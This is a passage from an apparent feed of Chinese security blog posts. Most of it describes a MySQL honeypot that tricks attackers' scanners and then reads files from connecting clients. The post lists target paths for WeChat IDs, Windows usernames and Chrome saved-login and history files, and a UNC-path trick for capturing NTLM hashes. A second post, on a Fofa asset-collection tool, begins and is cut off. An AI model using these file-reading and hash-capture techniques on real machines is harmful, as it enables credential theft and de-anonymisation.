0.05);word-break: break-all;">C:\Users\username\Documents\WeChat Files\</code>中，在里面翻翻能够发现 <code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">C:\Users\username\Documents\WeChat Files\All Users\config\config.data</code> 中含有微信ID：</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.03984375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5613c51c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUGI3xyegNwuxjtL86JFHzt2KPhkrQpNzS2VpDNFWHOhHr7TeoICibicRA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	而获取这个文件还需要一个条件，那就是要知道攻击者的电脑用户名，用户名一般有可能出现在一些日志文件里，我们需要寻找一些比较通用、文件名固定的文件。经过测试，发现一般用过一段时间的电脑在 <code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">C:\Windows\PFRO.log</code> 中较大几率能找到用户名。</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.22869955156950672" data-s="300,640" style="" data-type="png" data-w="1115" src="https://wechat2rss.xlab.app/img-proxy/?k=9e55e474&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUVfyJibgrAZibuJk8SswOuViap1oEUf8XoaUmpDvtB5u03jAJx3dicwNQvg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;">伪装</strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	攻击者进入内网后常常会进行主机发现和端口扫描，如果扫到MySQL了，是有可能进行爆破的，如果蜜罐不能让扫描器识别出是弱口令，那就没啥用了，所以还需要抓下扫描器的包。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	这里以超级弱口令检查工具为例，首先在本地起一个正常的MySQL服务，wireshark抓包看看扫描器有哪些请求：</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.46015625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=69bd812f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwU2WcM8wkQhhosxCGW6opr6kPGylPa1KgqSyJa7lENWUVARhM1zZpL0g%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	可以看到，这款工具在验证完密码后还发了5个查询包，如果结果不对的话，是无法识别出弱口令的，那么我们将服务器的响应数据提取出来，放进程序里，当收到这些请求后，就返回对应的包：</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=06c2380e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwU0ThClPEEfyhyQtOZQdX88CHoOZNXSxfJEvPIQibFzx1QcsO7QZiaWq0g%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	这样就能让扫描器也可以正常识别：</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.27867095391211144" data-s="300,640" style="" data-type="png" data-w="933" src="https://wechat2rss.xlab.app/img-proxy/?k=67909293&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUOgA9HNK55mxib8BlQAFmT75fBF4ibT9sgODZ1pRSJg6GQPpPT5Q4PUjw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;">效果</strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	当攻击者发现存在弱口令的时候，大概率会连上去看看，如果使用navicat的话，就能读取到文件：</p><figure style="box-sizing: border-box;display: flex;margin: 10px 0px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.38958333333333334" data-s="300,640" style="" data-type="png" data-w="960" src="https://wechat2rss.xlab.app/img-proxy/?k=85b45de5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUl0tt5v8UH6rrjsR2W2GkSvJMHtU3QH7hpQkIp2SXUCkNpbibM1uzy8w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="box-sizing: border-box;display: block;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;"><br/></figcaption></figure><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	写了个简单的web来显示攻击者的微信ID，扫一扫就能加上TA</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3609375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7109c55b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUZelEuVZlNmic1cpprxxoG9whYnxiaoNNlLFeAIotwibnPaHzWuqDdd2qA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;">思考</strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	除了获取微信ID，我们还能获取哪些有价值的东西呢？</p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">chrome的login data，虽然无法解密出密码，但是还是可以获取到对方的一些账号的</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">&#39;C:/Users/&#39; + username + &#39;/AppData/Local/Google/Chrome/User Data/Default/Login Data&#39;</code></p></section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">chrome的历史记录</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">&#39;C:/Users/&#39; + username + &#39;/AppData/Local/Google/Chrome/User Data/Default/History&#39;</code></p></section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">用户的NTLM Hash（Bettercap + responder）</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">\\ip\test</code></p></section></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">详情：<a href="https://www.colabug.com/2019/0408/5936906/" target="_blank">https://www.colabug.com/2019/0408/5936906/</a></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.26875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=eaa730cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcJcuPb9DbvA1APPhVibGFwUaUiakj9rKOXWP5Fn2WYQNtibxJTjabdYNF32mGcnj3HPEbxPNvynooLg%2F640%3Fwx_fmt%3Dpng"/></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">……</p></section></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">待解决问题：</p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">同一出口IP的不同攻击者的信息如何区分</p></section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">读取的文件较大时，客户端会分段传输，如何完整获取</p></section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><span style="box-sizing: border-box;text-decoration:line-through;">前端有点bug，不管了，能用就行了</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">关于其他可利用的点和以上待解决问题欢迎大家留言讨论，最后，源码我上传到GitHub了，有需要的朋友请自取：</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><a href="https://github.com/qigpig/MysqlHoneypot" target="_blank">https://github.com/qigpig/MysqlHoneypot</a></p></section></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;">参考链接</strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	[1] <a href="https://www.colabug.com/2019/0408/5936906/" target="_blank">https://www.colabug.com/2019/0408/5936906/</a></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-style: initial;text-decoration-color: initial;">	[2] <a href="https://github.com/ev0A/Mysqlist" target="_blank">https://github.com/ev0A/Mysqlist</a></p><p><br/></p>



<p><a href="2247484614">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b2576379&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484614%26idx%3D1%26sn%3Da719aaad15112d4ec26ab3f3c89cadc5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 Aug 2020 17:57:00 +0800</pubDate>
    </item>
    <item>
      <title>Fofa采集工具-自修改版本</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484596&amp;idx=1&amp;sn=e55cbea5df2e0c36a77fca2833d28558</link>
      <description>Fofa采集工具-自修改版本</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2020-08-24 14:06</span> <span style="display: inline-block;"></span>
</p>

<p>Fofa采集工具-自修改版本</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c92fd79c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvfNUz3zFv1U7eqZQbP2IGuuB8S7XHw6vvFn0uzW1YnJkmgSlhjRuO0ewMJLkIEj9rrdwFDqjtPLibw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Fofa采集工具</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">最近收集资产啥的用fofa用的比较多，搁网上找有没有好用的采集工具，发现不能满足我的部分需求，所以自己修改了一个。这里基于</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;"><a href="https://www.t00ls.net/viewthread.php?tid=57096" target="_blank">https://www.t00ls.net/viewthread.php?tid=57096</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">吐司大佬发的源码改了一下，感谢大佬贡献的源码。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">修改内容如下：</p><ol style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;" class="list-paddingleft-2"><li style="box-sizing: border-box;margin-top: 6px 